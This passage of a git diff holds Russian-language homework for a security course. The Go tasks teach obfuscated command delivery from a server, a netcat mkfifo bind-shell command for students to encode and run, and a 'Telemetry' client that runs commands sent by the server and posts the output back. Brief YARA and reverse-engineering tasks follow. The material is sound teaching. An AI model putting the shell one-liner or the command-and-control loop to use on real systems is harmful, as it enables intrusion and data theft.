которую присылает сервер. Важно, чтобы тело ответа, присылаемое сервером было достаточным для того, чтобы вы могли извлечь все нужные байты. - -
-Код - -Например: -```go -package main - -import ( - "log" -) - -func main() { - data := []byte("no-exc.v10 libc-v2 ldd10 stux2020.20 c.2020.10.04") - cmd := []byte{data[0], data[5], data[10], data[15], data[20], data[25], data[30], data[35], data[40], data[45]} - log.Print(string(cmd)) -} -``` -
- -Попробуйте закодировать подобным образом следующую команду: `rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc -l 12853 > /tmp/f` (необязательно кодировать через 5 символов, можно больше, можно меньше). - -
-Как не собирать руками на клиенте? - -Поскольку собирать руками такую команду достаточно утомительно, мы можем написать кусочек кода, который это сделает за нас: -```go -package main - -import ( - "log" -) - -func main() { - data := []byte("no-exc.v10 libc-v2 ldd10 stux2020.20 c.2020.10.04") - // создаём пустой слайс для наполения данными - cmd := make([]byte, 0) - // переменная для хранения индекса - index := 0 - // пока индекс меньше, чем длина ответа от сервера - // (воспринимайте как if, который повторяется автоматически до тех пор, пока выполняется условие) - for index < len(data) { - // стандартная конструкция добавления в слайс значения - cmd = append(cmd, data[index]) - // увеличиваем index на 5 - // = работает справа налево: - // 1. сначала справа вычисляется значение: index + 5 - // 2. вычисленное на шаге 1 значение записывается обратно в index - index = index + 5 - } - - log.Print(string(cmd)) -} -``` - -
- -И отправьте её с сервера на клиент под ОС Linux и попробуйте подключиться к нему (к клиенту) с помощью команды (выполняйте в терминале): `nc 12853` (firewall на клиенте должен быть отключен). - -### Результаты - -В качестве результата пришлите: -1. Исходный код вашего приложения (запакуйте в zip-архив или выложите проект на GitHub, если вы посмотрели лекции по Git) -1. Ответ на вопрос: "что именно и как делает указанная команда" - -И отправьте её с сервера на клиент под ОС Linux и попробуйте подключиться к нему с помощью команды (выполняйте в терминале): `nc 12853`. - -## Задача "Telemetry"* - -**Важно**: данная задача не является обязательной, её (не)выполнение не влияет на получение зачёта по ДЗ. - -### Легенда - -Мы научились собирать данные от команд, запускаемых с помощью пакета `exec`. Давайте попробуем отправить эти данные на сервер (при этом мы назвали задачу "Telemetry" - будем "эмулировать" стандартный процесс приложений, которые в благонамеренных целях собирают данные об устройстве пользователя). - -Для этого воспользуемся нашим HTTP клиентом и его методом `Post`: -```go -resp, err := client.Post("http://localhost:9999/telemetry", "", bytes.NewReader(info)) -``` - -Где, `info` - это слайс байт, а `bytes.NewReader` - функция, позволяющая создать специализированный тип для передачи данных в запрос (`io.Reader`). - -Как это прочитать на сервере? Достаточно просто, почти так же, как мы читали тело ответа на клиенте, только теперь мы будем читать тело запроса на сервере: -```go -func (h Handler) ServeHTTP(writer http.ResponseWriter, request *http.Request) { - data, err := ioutil.ReadAll(request.Body) - if err != nil { - log.Print(err) - return - } - log.Print(string(data)) -} -``` - -Что нужно сделать? Прямо в том же проекте: - -#### На сервере - -Реализуйте в `ServeHTTP` следующую логику: -1. Если приходит запрос типа `GET`, то вы отдаёте команду -1. Если приходит запрос типа `POST`, то вы читаете `Body` и выводите его в консоль - -Для получения метода запроса используйте поле `request.Method`. - -#### На клиенте - -1. При запуске получайте команду для исполнения с `http://localhost:9999/updates` -1. Если команда равна `user info`, то используйте `user.Current()` и отправляйте в виде JSON информацию о пользователе -1. Если команда не равна `user info`, то выполняйте команду и отсылайте полученные данные с помощью POST - -### Результаты - -В качестве результата пришлите: исходный код вашего приложения (запакуйте в zip-архив или выложите проект на GitHub, если вы посмотрели лекции по Git) diff --git a/11_sd/README.md b/11_sd/README.md new file mode 100644 index 0000000..697f64b --- /dev/null +++ b/11_sd/README.md @@ -0,0 +1,9 @@ + +# Домашнее задание к занятию «Статический и динамический анализ» + +В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). + +## Задание 1 + +Создайте три правила Yara для определения файла **cmd.exe**. +В итоге у вас должны получится три отдельных файла, по которым должен определяться только файл **cmd.exe**. diff --git a/12_reverse/README.md b/12_reverse/README.md new file mode 100644 index 0000000..a3d3eeb --- /dev/null +++ b/12_reverse/README.md @@ -0,0 +1,15 @@ + +# Домашнее задание к занятию «Реверс-инжиниринг» + +В качестве результата пришлите ответы на вопросы в личном кабинете студента на сайте [netology.ru](https://netology.ru). + +## Задание 1 + +Чем отличается декомпиляция от дизассемблирования? + +*Напишите ответ в свободной форме.* + +## Задание 2* (необязательное) + +Найдите пароль, который требует программа [main1](../00_Code/main1). +(При вводе правильного пароля будет вывед текст "Welcome!") diff --git a/README.md b/README.md index ecec784..3c8b275 100644 --- a/README.md +++ b/README.md @@ -14,19 +14,21 @@ ## Блок 3. Сценарии командных оболочек и системное программирование -3.1. [x] [Использование командных оболочек](05_shell) +3.1. [x] [Использование командных оболочек 1. Bash](05_shell) -3.2. [x] [Системное программирование (язык C) - основы языка](06_c) +3.2. [x] [Использование командных оболочек 2. PowerShell](06_shell) -3.3. [x] [Системное программирование (язык C) - типовые конструкции](07_c) +3.2. [x] [Язык Python. Основы.](07_python1) -3.4. [x] [Системное программирование (язык C) - функции и библиотеки](08_c) +3.3. [x] [Язык Python в информационной безопасности.](08_python2) + +3.4. [x] [Язык Python. Криптография](09_python3) ## Блок 4. Разработка вспомогательных инструментов -4.1. [x] [Программирование на Go - основы языка и типовые конструкции](09_go) +4.1. [x] [Язык С и программные уязвимости](10_c) -4.2. [x] [Программирование на Go - структуры и методы](10_go) +4.2. [x] [Статический и динамический анализ](11_sd) -4.3. [x] [Программирование на Go - внешние библиотеки](11_go) +4.3. [x] [Реверс-инжиниринг](12_reverse)